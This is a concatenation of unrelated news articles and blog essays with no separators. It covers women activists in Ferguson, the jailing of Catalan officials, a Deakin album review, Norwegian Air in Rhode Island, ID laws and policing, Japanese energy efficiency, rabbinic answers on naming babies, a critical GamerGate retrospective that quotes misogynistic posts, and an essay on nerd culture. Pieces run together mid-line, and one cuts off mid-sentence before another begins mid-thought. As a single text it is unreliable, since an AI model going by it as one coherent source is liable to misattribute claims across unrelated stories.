Protesters tested the limits of the invisible boundary Friday night, toeing dangerously close to the row of officers lined up to protect the police headquarters here. Warnings from law enforcement officials that they may soon begin arresting people were easily drowned out by music and chants from the thickening crowd. Photographers readied their cameras, waiting for something to pop as demonstrators on the front lines stared down their opponents, leaving little room to breathe.
All except for Shermale Humphrey — she was facing the other way.
While the fallout of a teen’s death at the hands of a police officer focused heavily on the day-to-day injustices incurred by young black men, it’s the women who helped turn a string of protests into a movement, by seamlessly shifting between the roles of peace-keepers, disrupters, organizers and leaders.
In Ferguson on Friday night, Humphrey knew exactly what to do when she saw a young man — barely 15-years-old — struggling to contain the energy and anger building up inside him.
Carving space between a police officer dressed in full riot gear and a 6’3’’ tall teen on edge, Humphrey, a tiny young woman with a slight frame easily lost in a crowd, became the physical shield protecting the two sides.
“She’s got an officer in SWAT gear inches from her, and she’s just says, ‘You know what? Ain’t nobody putting their hands on him,’” Thenjiwe McHarris said of her friend on the protests’ front-lines, recounting Friday night. “Unafraid too. You gotta see there’s so much power in that.”
Since Aug. 9, when a police officer shot and killed unarmed 18-year-old Michael Brown in broad daylight, women have made up a significant number of the protesters in the streets. Many of the women heard their voices go hoarse after spending hours leading chants and making up rhymes. A number of them have been arrested — even more than once. Others say they’ve spent more time behind bars since Brown’s death than the man who killed him.
“It’s usually men on the forefront, but we gotta step up, we gotta show them that we all are equal,” Humphrey said, “White and blacks gotta be equal as man and woman.”
The protests in Ferguson have given birth to a movement led by groups that are consistently in the trifecta of those marginalized in society — young women of color. In the weeks since the community was roiled by violence and a brutal police crackdown, activist groups like Millennial Activists United emerged on Twitter and the familiar faces on the front-lines of the protests, founded almost entirely by women.
“We’re less concerned with what the police response will be,” said Ashley Yates, one of the founding leaders of MAU. “We want people to come out, we want people to share our resistance.”
One of the most prominent people to take the protests’ message to a national scale by being a barometer of shifting emotions in Ferguson is not only an elected official, but a black woman. Maria Chappelle-Nadal, a Missouri state senator known in part for her controversial and sometimes even profane opinions, rose to national prominence almost overnight due to her response to the protests.
“There are multiple stories of people who are out here and I spent a lot of time with young people. I felt the anger in these young people’s hearts,” Chappelle-Nadal said. “As a legislator, being black, being a woman … we’re pigeonholed, we’re put into a box. I’m sick of it.”
For McHarris, women have always been the driving force behind movements. This time, they’re not invisible — people are paying attention.
“Historically, women have always been leading,” McHarris said. “A lot of times women are often unseen leaders because women are all just doing it — we’re all just doing the work.”A Spanish High Court judge today ordered former deputy Catalan premier Oriol Junqueras and seven other former members of the regional cabinet to be held in pre-trial custody, after questioning them over their role in their illegal bid to secede from Spain.
The entire Catalan government was removed on October 28 after the separatist coalition in power voted to declare independence inside the regional assembly. The central government in Madrid used powers under Article 155 of the Constitution to temporarily suspend Catalonia’s powers of self-governance, and called regional elections for December 21.
Judge Carmen Lamela today decided to hold all eight former officials in custody. They face charges of sedition, rebellion and misuse of public funds.
These are the former Catalan officials who will be held in pre-trial detention: left to right, starting with the top row, Oriol Junqueras, Meritxell Borràs, Raül Romeva, Dolors Bassa, Josep Rull, Carles Mundó, Jordi Turull, Joaquim Forn. The last one,Santi Vila, can avoid prison if he posts bail set at €50,000.
Only Santi Vila, the former head of the Catalan business department, has evaded preventive prison, and was instructed instead to post a bond of €50,000. Vila was the only summoned official to take questions from someone other than his own lawyer today. He resigned before the regional assembly voted on the unilateral independence declaration, to underscore his opposition to it.
The judge decided that the suspects are a flight risk because of their high incomes and the fact that other former officials who had been summoned to court on the same day instead fled to Belgium – including former Catalan premier Carles Puigdemont.
Junqueras, Jordi Turull (from the presidency department), Raül Romeva (international affairs), Josep Rull (territory), Carles Mundó (justice), Meritxell Borràs (government), Joaquim Forn (interior) and Dolors Bassa (labor) were all due to immediately be taken to jail on Thursday evening.
The judge decided that the suspects are a flight risk because the summoned officials fled to Belgium
Borràs and Bassa were later taken to jail in Alcalá de Henares; Turull, Romeva, Rull, Forn, Junqueras, Mundó and Vila were reunited in Estremera after having been earlier held at a number of different prison facilities.
Jordi Sànchez and Jordi Cuixart, the leaders of the pro-independence groups National Catalan Assembly (ANC) and Òmnium, are currently being held without bail in Soto del Real prison ahead of trial for sedition charges, based on their role organizing protests during Civil Guard and National Police operations aimed at seizing material destined for the October 1 illegal referendum on independence in the region.
In her writ, the judge said today that the suspects’ actions were “premeditated and perfectly prepared and organized.” For over two years they systematically ignored decisions issued by the Constitutional Court in their drive for independence, wrote Judge Carmen Lamela.
To achieve independence for Catalonia, the accused, according to the judge, “made use of the population to encourage acts of public insurrection, disobedience and collective resistance to the legitimate authority of the state, occupying to that effect highways, streets and public buildings and subjecting officers of the law to incessant harassment.”
Earlier in the day, the High Court public prosecutor requested an arrest warrant to be issued for former Catalan regional premier Carles Puigdemont.
The request submitted to the High Court judge in charge of this stage of the case also includes the former Catalan ministers Antoni Comín, Meritxell Serret, Lluís Puig and Clara Ponsati.
The High Court public prosecutor requested an arrest warrant for former Catalan regional premier Carles Puigdemont
The writ reads: “The accused Carles Puigdemont Casamajo has publicly stated his intention to not appear in court and has requested, as have Antonio Comín and Meritxell Serret, to address the court via videolink, without offering any information about their location. In light of the foregoing, the court is called upon to order a national and international search and arrest warrant.”
Belgian prosecutors said that as soon as they receive the European arrest warrant, they will apply the law. The federal ministry will be the recipient and thus in charge of carrying it out, according to sources familiar with the situation. Spanish diplomats in Belgium said that there have never been any problems with Belgian authorities, and that they expect full cooperation on the legal and police fronts. Puigdemont’s lawyers, particularly the Belgian attorney Paul Bekaer, have promised to try to prevent his arrest if an EU warrant comes through.
Reaction from politicians was swift to follow news today of the jailing of the eight former members of the Catalan government. On Twitter, the leader of Podemos, Pablo Iglesias, called for “freedom for political prisoners.” “I am ashamed that in my country opponents are locked up. We don’t want independence for Catalonia, but today we say: freedom for political prisoners,” he wrote.
Barcelona Mayor Ada Colau posted on Twitter that it was “a black day for Catalonia.” “The government democratically chosen at the ballot boxes, in jail,” she wrote.I haven’t been sleeping much lately. I’ve been nervous. The stretched-thin Stanford lifestyle I’ve been avoiding since I arrived on campus is finally catching up with me, and I’ve been up late (or late for me, at least) working, or at least busying myself with things that feel enough like work to make me feel better about myself. So when sometimes Animal Collective member Deakin (née Josh Dibb) released a soothing, warm album called Sleep Cycle last Friday, it seemed like a gift. I’ve been waiting for the long-discussed Deakin solo album since the multi-instrumentalist announced he was working on it way back in 2009, and here it is, at a time I need Dibb’s gentle music more than ever.
The long waiting period for Sleep Cycle suggests that Dibb may not share my propensity for busying himself into the night (he’s spoken of a “fatal perfectionism” and self-doubt that delayed the album), but from the opening track, “Golden Chords,” all was forgiven in my mind. A simple track, relying mostly on Dibb’s voice and acoustic guitar, “Golden Chords” feels cozy, and has become a lullaby of sorts for me, a way to quiet my mind and my worries.
Deakin’s doesn’t usually take lead vocals on Animal Collective songs, with “Wide Eyed” from 2012’s Centipede Hz as his only vocal showcase in the band’s 16-year career. It’s nice to hear Dibb’s voice featured centrally on “Golden Chords.” His voice isn’t as charismatic as those of his bandmates, but it pairs perfectly with the intimacy of the song and the lyrics, which offer reassurance to a discouraged friend or perhaps, given his difficulty in creating the golden chords of this album, to Deakin himself.
Listen here. Image from here.video: FAA Has Approved Norwegian Air for TF Green, $69 Fare to Ireland One Step Closer
GoLocal has learned that the Federal Aviation Administration (FAA) has issued a critical letter of approval for Norwegian Airlines. This is the most pivotal step to the realization of the high quality, low fare carrier to operate in Rhode Island.
Norwegian faced strong opposition from U.S. pilots unions and both Rhode Island Congressmen David Cicilline and Jim Langevin co-sponsored a 2016 House Resolution 5090 that if passed would block Norwegian Air’s subsidiary — the entity that will operate in Rhode Island — from approval.
Norwegian has already held job fares in Rhode Island and may hire up to 200 to work at Green.
Latest in T.F. Green Norwegian News
On Friday, Langevin changed position and now says he supports the same position of the RI Airport Corporation.
In an interview on Friday, Cicilline claimed that his 2016 resolution did not specifically impact Norwegian Air. “But it is also very important that those jobs respect U.S. labor standards that what the bill did. It did not pass. I regret it didn’t. We want labor standards complied with, but your story in wrong..."
But, the Southwest Airline's Chip Hancock who heads the Governmental Affairs Committee for the pilots' union said that Langevin and Cicilline’s resolution was introduced to stop Norwegian. He and other pilot union leaders meet with the Trump White House last week asking the new administration to block Norwegian.
Hancock told GoLocal in a phone interview that “passage of HR 5090 would have stopped Norwegian’s expansion.”
Hancock said that the airline pilots union will continue to take action in federal court in the D.C. Court of Appeals. In addition, he thought that the pilots would continue to press for legislative action in 2017.
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Despite the opposition of Langevin and Cicilline, other Rhode Island business leaders and even top Rhode Island union leaders support the effort to expand the airport.
On Thursday, Senate Majority Leader Dominick Ruggerio told GoLocal in a phone interview that he strongly supports Norwegian Air’s arrival at T.F. Green. Ruggerio is a top labor leader and serves as an Administrator for the New England Laborers Labor Management Coop Trust.
“This could be a major addition to the airport. International flights at low fares would help the airport, tourism, business and labor," said Ruggerio. "I know some of the pilots have issues, but I strongly support the expansion of Norwegian in Rhode Island.”
Norwegian is expected expected to launch with $69 one way fares to Ireland — less than the cost of taking the Acela train to New York City.
Ruggerio said to GoLocal Thursday night that the addition of Norwegian could help business and jobs across the state. “It is one of our biggest opportunities to grow the airport and the economy," said Ruggerio.
On Wednesday while appearing on GoLocal LIVE, Governor Gina Raimondo cited Norwegian Air’s importance in recruiting major company to relocate to Rhode Island. She called Norwegian Air a “game changer” for Rhode Island.
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Enjoy this post? Share it with others.While voter identification laws are a hot button issue in national politics, those laws aren't usually discussed in the broader context of identification requirements in various aspects of everyday life. For starters, border patrol agents dozens of miles away from an international border ask for identification purportedly to root out illegal immigrants. Identification is required at the doctor's office, for increasing amount of medication, at the airport, on trains and now even for some interstate bus trips, for renting a car, getting into most government buildings, and so on in that manner. A mere fifteen years ago much of this may have seemed unthinkable.
So while the debate over whether voter ID laws are effective or whether they infringe on the right to vote (which ought to be universal given citizenship, which should be based on residency and necessary and proper paperwork) continues, it misses the point that citizens and non-citizens alike who don't have identification have a harder time accessing all kinds of goods and services, government and otherwise, often due to government regulations and edicts.
This is not just an issue of taking a bus instead of flying, as former homeland security secretary Janet Napolitano once suggested for those tired of the security theater at the airport. And a bus is increasingly not an option either. In Houston Representative Barbara Jackson Lee (D) lauded the Department of Homeland Security sending TSA agents onto local buses!
Eventually it becomes about the freedom of movement at the most basic level. Witness this interaction between an officer and a man who told them he was waiting to pick up his kids from the local charter school. Note how quickly it escalates despite the man's calm demeanor, all over a demand to produce identification:
Minnesota City Pages identified the man, who spoke to them, as Chris Lollie. He was arrested for "disorderly conduct" and "obstructing the legal process," and was charged with those crimes as well as trespassing. They were, unsurprisingly, all dropped. Police insist they were dealing with an "uncooperative male refusing to leave" and said there were no complaints filed after the incident (many incidents of police brutality can go unreported), which happened in January but video of which only emerged online this month. The YouTube user who posted claims the cellphone was seized for six months (likely the length of time before charges were dropped and the "investigation" ended).
If it's a war zone out there for cops, it's the "civilians" that often seem most at risk.
Sensible rules of engagement for cops, as well as effective disciplinary processes, are needed to attempt to root out behaviors and attitudes like those of the officer's in the video.Mr. Fukuda has already urged the leaders of the Group of 8 nations to adopt numerical targets as they discuss new ways to curb carbon dioxide emissions, a focus of treaty talks aimed at a new global agreement by the end of 2009. The existing pacts, the original climate treaty from 1992 and the Kyoto Protocol, which expires in 2012, have been called failures by energy and climate experts.
The rising cost of energy is expected to dominate the meeting, on Hokkaido, the northern island of Japan. President Bush and other leaders are facing calls to expand offshore drilling and to rein in hedge funds and other investors blamed for speculating on world energy markets.
Japan is by many measures the world’s most energy-frugal developed nation. After the energy crises of the 1970s, the country forced itself to conserve with government-mandated energy-efficiency targets and steep taxes on petroleum. Energy experts also credit a national consensus on the need to consume less.
It is also the only industrial country that sustained government investment in energy research even when energy became cheap again.
“Japan taught itself decade s ago how to compete with gasoline at $4 per gallon,” said Hisakazu Tsujimoto of the Energy Conservation Center, a government research institute that promotes energy efficiency. “It will fare better than other countries in the new era of high energy costs.”
According to the International Energy Agency, based in Paris, Japan consumed half as much energy per dollar worth of economic activity as the European Union or the United States, and one-eighth as much as China and India in 2005. While the country is known for green products like hybrid cars, most of its efficiency gains have been in less eye-catching areas, for example, in manufacturing.
Corporate Japan has managed to keep its overall annual energy consumption unchanged at the equivalent of a little more than a billion barrels of oil since the early 1970s, according to Economy Ministry data. It was able to maintain that level even as the economy doubled in size during the country’s boom years of the 1970s and ’80s.
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Japan’s strides in efficiency are clearest in heavy industries like steel, which are the nation’s biggest consumers of power. From 1972 to 2006, the Japanese steel industry invested about $45 billion in developing energy-saving technologies, according to the Japan Iron and Steel Federation.
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The results are visible at the Keihin mill on Tokyo Bay, run by Japan’s No. 2 steelmaker, JFE Steel. Massive steel ducts snake from the blast furnaces and surrounding buildings. These capture heat and gases that had previously been released into the air or burned off as waste. Now, they are used to power generators that produce 90 percent of the plant’s electricity. (The plant’s main fuel remains the coal used to heat its huge blast furnaces.)
Such innovations allow the mill to produce a ton of steel using 35 percent less energy than it did three decades ago, said Yoshitsugu Iino, group leader of JFE Steel’s climate change policy group. Mr. Iino calculates that if the global steel industry adopted Japanese conservation measures, it could reduce carbon emissions by some 300 million tons a year.
But even with corporate efficiency gains, Japan’s emissions of carbon dioxide, |
will refuse to name children the names of sinners once they are aware of the projected doom for anyone so named.The uniqueness of Rabbainu Cha’anel’s position is that he introduced elements of mysticism and fear into the ordinary function of naming a child. In Ashkenazic Europe the custom developed to refrain from naming children with the names of living persons. The following rationales are presented.(Some with sources, some without.). Common custom is to name children after parents or grandparents who are no longer alive. To name a child after a living person gives the impression that one wishes they were dead, Chas V’Shalom.- (B’rit Avot 8:20 cited in the name of Noheig Katzon Yosef) When a child, together with his/her father or grandfather have the same name, the Angel of Death may, by mistake, kill the youngest rather than the father or grandparent. According to Jewish law it is not deemed proper respect to call one’s parent by his/her first name.(Yoreh Deah 240:2) Giving a child the name of the living parent or grandparent would generate confusion and a belittlement of respect.(Chelkat Yaakov, Yoreh Deah 136,Shmirat HaGuf V’haNefesh, Vol. II, 154:9) To forestall such errors, Ashkenazim simply did not name children after a living person. Thus, concern for proper respect for parents, mysticism, coupled with fear of the “evil eye”, serve as the basis for the custom. There never was an official rabbinic law to outlaw naming a child after a living person. It is merely a custom.that has prevailed comparable to a rabbinical ban.(It is merely an extension of the mystic position of Rabainu Chan’anel.) Many years ago a family requested that I perform a wedding during the Nine Days commemorating the destruction of the holy Bet HaMikdash. I mentioned that according to jewish law one was not to be married during this period of time. To this they responded that they were not too religious and were not perturbed about violating the law. When I mentioned that it was deemed “Bad Luck” to get married at that time, they immediately changed the date for the wedding. In other words even Jews who are not observant on a regular basis will not be involved with any matter shadowed by the spectre of “Bad Luck”. So too with the Ashkenazic ban against naming a child after living persons. No one wishes to galvanize “Bad Luck” upon their children.(Kashe sakanta m’isurah) The Sefardim simply never adopted any such customs. They follow the original tradition wherein it was totally permitted to name children after living persons. Indeed, they deem the act as a form of granting honor to parents or grandparents. The Bible and the Talmud do not contain any reference to this prohibition. Indeed, just the opposite, the Lubavitcher Rebbe notes that from verses in Genesis it is evident that Terach (father of Abraham) named his son Nachor during the lifetime of his father Nachor.(See Genesis 11:24-26; Sha'arai Halacha U’Minhag,Yoreh Deah, Volume III, p.298)
Answered by: Rabbi Simcha Cohen Answered by: Rabbi Simcha Cohen Click here for a(n) Conservative answer by Rabbi Elianna Yolkut It has become an Ashkenazi custom to name a new baby after a relative that has died. The idea behind this custom is it keeps the name and memory alive, and in a metaphysical way forms a bond between the soul of the baby and the deceased relative. However, it is by no means forbidden to give a child the same name as a living relative. The living relative should be asked permission. The reverse is true in Sephardic communities - the custom is to give the child the name of a living relative, often a grandparent. This custom is based on a desire to honor the living, while they are still here and give the child a sense of the qualities in real life the parents' are hoping he/she will live up to. However, this too is custom and not law and if you choose to name a child after a deceased relative in a Sephardic family you might want to give family members accustomed to a different custom time to process the difference. It is however, all custom and as such parents should take great thought and care in naming their child. In many way this is the beginning of our identities, our names shape how we see ourselves and how others see us. Often choosing a name is challenge, in Judaism in particular this is seen,much like Adam names the animals in the garden, as our sharing in the creation of a human being with God. So we think of qualities we want in our children, we think of relatives and friends who have impacted our lives and their honor and we think of the child and who we hope they become - naming is an important aspect of the early stages of raising a Jewish child so whatever your custom is or whatever custom you decide to follow think carefully and seriously about the importance of your role as a "namer, creator" of this child! Happy hunting.
Answered by: Rabbi Elianna Yolkut Answered by: Rabbi Elianna Yolkut Click here for a(n) Reform answer by Rabbi Daniel Plotkin Both are customs based on superstition surrounding the Angel of Death. In Ahskenazic communities it was believed that if you named a baby after a living person, when the Angel of Death came for the older person, he would become confused and take the younger one instead. In Sephardic communities they took the opposite approach believing that if you named a baby after a living person, the Angel of Death would become confused and take neither the older nor the younger person.- therefore there was a benefit to those for whom babies were name.
The practices in both Ashkenazic and Sephardic communities around naming are based in custom.Both are customs based on superstition surrounding the Angel of Death.In Ahskenazic communities it was believed that if you named a baby after a living person, when the Angel of Death came for the older person, he would become confused and take the younger one instead.In Sephardic communities they took the opposite approach believing that if you named a baby after a living person, the Angel of Death would become confused and take neither the older nor the younger person.- therefore there was a benefit to those for whom babies were name. While Reform Judaism tends to stay away from superstition, the practice of naming after a deceased relative (and specifically not living ones) is still practiced by the vast majority of Reform Jews out of a sense of tradition and a desire to honor those who have passed on prior to a new life coming into the world. With that said, the naming customs in the Reform movement tend to be based on the ancestry of the family, as the small minority of Reform Jews with Sephardic backgrounds will name after living relatives. While Reform Judaism tends to stay away from superstition, the practice of naming after a deceased relative (and specifically not living ones) is still practiced by the vast majority of Reform Jews out of a sense of tradition and a desire to honor those who have passed on prior to a new life coming into the world.With that said, the naming customs in the Reform movement tend to be based on the ancestry of the family, as the small minority of Reform Jews with Sephardic backgrounds will name after living relatives.
Answered by: Rabbi Daniel Plotkin Answered by: Rabbi Daniel PlotkinUpdate: The original version of this story used a screenshot of Lewis Denby and Ashton Raze's Richard and Alice instead of Zoe Quinn's Depression Quest. Thanks to commenter LionUCS for pointing out the error.
When media critic and creator of Feminist Frequency Anita Sarkeesian appeared on The Colbert Report near Halloween it seemed to come out of nowhere. Sarkeesian herself only announced it hours before it was to air, and Twitter and Reddit lit up as detractors to her Tropes vs. Women in Video Games series discussed what she might say from the forum regarding the GamerGate phenomenon that had recently gained national news.
In all honesty neither Sarkeesian nor Colbert said anything particularly new or noteworthy for either of them. Colbert danced the line between playing his characters and reaching for understanding as always, and Sarkeesian brought a travel-sized version of her regular talking points. What it did do was drag the essence of the gory GamerGate mess into the spotlight for five whole minutes and revealed to the mainstream how utterly toxic and ridiculous it truly was.
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It was a mortal wound for the movement and signaled its slow demise. A look at the hashtag's usage on Twitter shows a rallying spike around the discussion on Colbert, but then a slow, steady decline that continues as we head into 2015. America got a good look at GamerGate and pretty clearly it didn't think very much of it.
So why did it fail?
One of the chief reasons is that the movement's own insistence on being a leaderless collective completely crippled any attempt to refine or control the message being sent out under the banner. Time after time supporters would argue about what GamerGate really was about but there was no handbook to weigh it against or authority to lend it orthodoxy. If someone sent a tweet containing the hashtag he or she might get an argument about ethics in video game journalism in response from one person, a link to a bizarre New World Order anti-feminist meme from a second, and bizarre cartoon pornography from a third. How do you tell which is the real GamerGater and which is the heretic?
There was a lot of call for someone to tell "the other side of the story", meaning the one that didn't agree with Sarkeesian or denounced developers Zoe Quinn and Brianna Wu. Journalists were constantly derided as lazy and partisan for not including the voice of supporters. My response is this; we tried and it was impossible.
Shortly after the Colbert appearance I took to Twitter and asked a very simple question; "Who is the GamerGate version of Sarkeesian that I can interview in response?" I wanted someone to offer to speak for the group, to rebut and offer commentary. Quickly it became apparent to me that no such person existed. One user told me that the best thing to do would be a "man on the street" sort of thing in an online forum, but it would only net the same random sampling of people and no defining voice.
Quinn, Sarkeesian, Wu, and people like game journalist Leigh Alexander are known quantities. They have backgrounds, bodies of work, paper trails, friends, co-workers, and resumes. They also have verified online identities so when someone tells you they said something a reporter can check if they did. The vast majority of people tweeting and promoting GamerGate could have literally been anybody and a great deal of those people weren't people at all. They were just accounts.
This story continues on the next page.
EXPAND Depression Quest, the game made by Zoe Quinn she was accused of using sexual favors to secure good reviews for.
Blogger Andy Baio tweeted a chart showing that a huge number of the people talking about GamerGate on Twitter were doing so from accounts created within the time frame of the hashtag's beginning. You can look directly at the IIRC logs from the beta release of GamerGate -- the 4chan #burgersandfries channel -- and see members discussing the best way to impersonate women and people of color in sock puppet accounts in order to lend diversity to the movement. In that dense wall of text linked to members discuss whether using a Sailor Moon or a Bratz avatar would make for a more convincing impersonation of the account of a teen girl while others brag about showing up in blackface.
From the very beginning there were two sides of GamerGate. On one side were indie game developers, media outlets, media critics, and industry people who could be interviewed and examined. On the other was a wall of anonymous puppet accounts created by 4channers that couldn't. Reporters could never be sure of the credentials of the person they were talking to on Twitter and could never verify facts. There was just a soup of throwaway Internet chunks called GamerGate. Is it any wonder that instead media chose to focus on the more relevant and compelling story of harassment of women in the gaming world?
Eventually some people did stand forward and put their names and reputations behind GamerGate but it only made the problems with the movement worse, not better. There was reporter Milo Yiannopoulus, who started giving GamerGate favorable coverage through Breitbart.com after previously calling gamers "pungent beta male bollocks-scratchers and twelve-year-olds". He's also famous for the controversy he started by saying that "girls" were well-represented in the tech industry because so many work in public relations and attempts to actively draw more women to other aspects "positive discrimination" and wasting time on a "problem that doesn't exist". When your movement is already accused of harassment of women and misogyny this is not a good representative.
Christina Hoff Sommers also openly supported GamerGate despite having no connection to video games whatsoever. The author -- who calls herself a feminist but who is best-known for writing books about how feminism destroys boyhood -- was enthusiastically welcomed by GamerGate and given the moniker Based Mom. Sommers released a video claiming to rebut claims of sexism and misogyny in gaming, but relied mostly on ad hominem attacks on critics, conflated misogyny and violence, and waved away criticism of content because games are marketed to men anyway. Again, this is not a strong spokesperson in a movement already under attack for its attitudes against women.
The list went on to include author and game maker Vox Day, who has claimed a woman accusing a white man of rape must be lying because only black and Hispanic people are rapists and remains the only person ever kicked out of the Science Fiction and Fantasy Writers of America. Houston's own Paul Elam, founder of A Voice for Men and de facto head of the Men's Rights movement also voiced support. Roosh V, a pick-up artist who authors what critics call "rape guides", went so far as to build a site dedicated to games that live up to GamerGate ideals.
This story continues on the next page.
Christina Hoff Sommers asking "Are video games sexist?" on her web show, Factual Feminist
That collection of named GamerGate supporters gives a lot of weight to another major failing point in the movement. GamerGate was not a new thing. It was just a new word for something that had been going on in games for at least a decade and in the general world for much longer. The harassment of Anita Sarkeesian -- including being forced to cancel an appearance in Utah in response to a mass shooting threat -- only escalated from GamerGate. It had already started happening two years prior when she first spoke out. Likewise Zoe Quinn was already experiencing threats and harassment before her ex-boyfriend posted his bizarre manifesto that spawned GamerGate in the first place.
GamerGate was a battlefield in a culture war, not the war itself. The heavyweights like Yiannopoulus and Sommers who waved flags are old soldiers when it comes to fighting for regressive social policies and the fortification of patriarchal dominance. The only reason the portrayal and involvement of women in the video game industry is being discussed now is because of the maturation of gaming as an artistic medium and its wider-than-ever accessibility on a variety of devices. These are discussions that have otherwise been happening in other forums for many years while gaming was growing up.
You can view the drive behind GamerGate best through the lens of the man that got it started, Eron Gjoni.
Margaret Pless at the blog Idle Dillettante laid out the origin story of GamerGate with a wall of screencaps showing the length Zoe Quinn's ex-boyfriend went to ignite a wave of online harassment against Quinn, with 4chan as his cat's paw to distance himself from any repercussions. It's a gripping and frightening read of a man who aimed from the very beginning to destroy a former romantic partner. He posted to 4chan...
TLDR Zoe Quinn, a rabid feminist SJW GAMUR GIRL who made a shitty non-game called Depression Quest, just got outed for BRIBING THE MEDIA INTO LIKING HER SHITTY NON-GAME WITH HER VAGINA BY cheating on her boyfriend with 5 other guys, including Kotaku staff members who defended her online and reviewed her game and HER MARRIED BOSS. She is a manipulative liar and a sociopath.
...and linked to his 9,000-word novella of accusations regarding his ex. From there he egged on 4channers about the best ways to infiltrate Quinn's life and watched it grow into the eventual explosion it became.
Gjoni never cared a bit about improving the transparency in the relationship between gaming journalism and game developers. That idea took root as #burgerandfries grew and blossomed when it became GamerGate, but the primary goal of Gjoni and the online mob that he enlisted was the harassment of a feminist woman in gaming that Gjoni said had wronged him. It was the same story Sarkeesian and other women in gaming had already told countless times before but given juicy tidbits involving personal drama and sex for maximum draw.
Using the mask of ethics in video game journalism was meant to shield GamerGate from accusations of misogyny, rape threats, and sexism. The rhetoric was powerful enough that a fair number of gamers did indeed rally to that cause. There were plenty of naïve, outraged people to recruit.
This story continues on the next page.
Shortly before GamerGate came about Leigh Alexander of Gamasutra published a very well written opinion piece regarding the idea of a gamer identity that included the phrase "gamers are over". To anyone with a modicum of reading comprehension it was clear that she was talking about the coming death of the male-dominated space involving scantily-dressed girls and big guns as the defining aspect of gaming when so many other diverse niches were opening up and thriving.
There are 1.2 billion gamers in the world right now. If gaming were a religion it would be the third most popular religion in the world. That's an awful lot of different people wondering why all the big money games tend to star violent American white male power fantasies.
Still, there's no argument that gaming has largely been about that for most of its artistic life thanks to the decision to market the Nintendo Entertainment System as a toy for boys when the industry rebranded in the '80s. The coming changes feel like an attack on a beloved institution to the dwindling percentage of gamers for whom that is all they know or want to know. A piece like Alexander's when coupled with the soap opera narrative of Zoe Quinn and the razor-sharp criticism of Sarkeesian regarding the dangers of misogynistic tropes made for great enlistment material.
Suddenly it became the fight to protect a culture, further reducing the seriousness with which the 1,199,780,000 gamers who don't post to /r/kotakuinaction could ascribe to GamerGate. Gaming didn't need protecting against The Man anymore than all the hair metal bands in the '80s needed to rally to protect rock and roll. The vast majority of gamers aren't just that or even primarily that. They're people playing a few rounds of Candy Crush on the bus or logging onto World of Warcraft after a hard day. Most of them game because they always have, no different than going to the movies or watching TV.
In other words they're generally grown-ups and grown-ups have a hard time believing that ethics in video game journalism is worth sending death threats to a feminist on Twitter. It's entertainment journalism. It might as well be E!, and the absolute worst thing that can happen is an undeserved game gets a good review or a great game gets trashed. Is that unethical if the opinion of the reviewer has a conflict of interest or has been compelled to do so by a game studio? Sure, of course it is, but that story will never, ever be more important than, say, Felicia Day saying she's afraid to comment publicly on GamerGate because she might get harassed and then immediately getting called a stupid cunt and having her home address posted.
One of those is a real news story demanding immediate attention, and the fact that so many people chose to double down that the journalistic ethics concerns were of equal weight made GamerGate look entitled, childish, and most of all mean.
Something Anita Sarkeesian summed up nicely on Colbert back in October.
GamerGate was started and planned in plain sight by a vengeful ex-boyfriend and bolstered by an online community ready to tear into a woman in gaming. It jumped the harassment train that was already chasing Sarkeesian, and before her Dragon Age writer Jennifer Hepler, and so on and sadly so on. It was supported by a collection of social regressive media personalities and attempted legitimacy on an issue gaming and people in general ranked very low on the totem pole. Certainly far less than the larger discussion regarding gender representation in gaming and the industry.
With no central voice or guiding activists to control or regulate the movement it devolved into actions like a bizarre, crowd-sourced book that actually used a cover inspired by Mein Kampf for a time. No one could ever nail down the "real" GamerGate we were all told was waiting somewhere to have his or her or its story told, and all that was left was to talk to the people who found themselves under a mountain of chilling tweets containing the hashtag #GamerGate. It never represented the growing gaming world, and its failure to understand that doomed it to irrelevancy.
Jef has a new story, a tale of mad robot nurses and a man of miracles called "Sleepers, Wake!" available now. You can also connect with him on Facebook.The geeks have inherited the Earth. As is the case with many underdogs turned top dog there's a change in the culture, some of it coarse and bad. Devin lists five commandments for being a true, good nerd.
Once upon a time, nerds were outcasts. Marginalized and sidelined, nerds were rarely taken seriously - and when they were considered, they were generally seen as harmless. But a slow, quiet nerd revolution happened, led by the likes of Steven Spielberg and George Lucas and Bill Gates. The image of the nerd - pocket protector, high waters, tape on the bridge of the glasses - changed radically after the 1980s, as tech became a prime mover of the economy and as genre slowly started to become the center of American pop culture.
The time when you could make a movie like Revenge of the Nerds* is over - the nerds have had their revenge. They’ve won. They got laser surgery and discovered Steve Jobs’ fashion sense. Most important of all, they’ve totally taken over the culture. The Avengers is the biggest movie event since Avatar, another nerdy-ass movie. Game of Thrones is the most culturally important TV show. Comic book characters, science fiction and fantasy rule all today.
I’ve always been a nerd, glued to Star Trek on TV as a toddler and playing Dungeons & Dragons in the high school cafeteria. Nerd culture has always been my culture, and I’ve long been fascinated by it. While outsiders have portrayed nerd culture along very specific lines, my experience is that nerd culture is rich and diverse. It’s a big tent; one side of the tent has people who quote Monty Python endlessly, the other side has folks who build functioning robots in their garages, and in between is this great mass of enthusiasm, intelligence and fun.
But in recent years I’ve noticed some dark changes in the world of nerddom. Some of it goes back to the early Kevin Smith movies, where he redefined the image of the nerd into a sarcastic, angry slacker - certainly a legitimate existing subset of nerds, and one that I personally knew very well. Some of it has been happening in recent years, as the popularity of nerd culture has brought new people into the tent, some of whom didn’t get the ‘How to be a Good Nerd’ memo.
It’s gotten really bad in the last few years. Knee-jerk reactionary anger fills the nerdosphere (see the vicious, sexist comments left on Amy Nicholson’s negative review of The Avengers) while ugly behavior and objectification gets more and more common (see the rise of “brogrammers” and the weird, exploitative world of ‘Sexy Geek Girls’). When nerds were the underdogs the culture was much more positive; there’s something about winning that has darkened and soured this culture I love so much.
Rather than whine about what’s wrong with nerds today, I want to focus on what makes a good nerd. Like I said, the nerd tent is big, so this isn’t about having specific nerd knowledge or liking specific things. It’s more about the attitude and perspective. Hopefully you agree that these are rules all nerds can live by.
Love art and ideas, not properties and products.
This isn’t sports. Too many people treat their favorite nerd things like a competition, as if they have to root for their own property no matter what - and as if any who disagree are the enemy.
Look, we all have favorite properties. I will always love Star Trek and Planet of the Apes, but I’m not a partisan for these things. I accept that a new Star Trek book/movie/show might be (and frankly, probably is) bad. I accept that you don’t share my unbridled enthusiasm for the Apes films. That doesn’t make you my enemy.
It’s fun to argue about properties and fandoms; the Star Trek vs Star Wars debate has been a nerd perennial since 1977. I like tweaking Dr. Who fans, something I’ve been doing since I first met Whovians in college way back in 1991. But when nerds begin attacking people - angrily, honestly attacking people - for not liking what they like, things are going wrong.
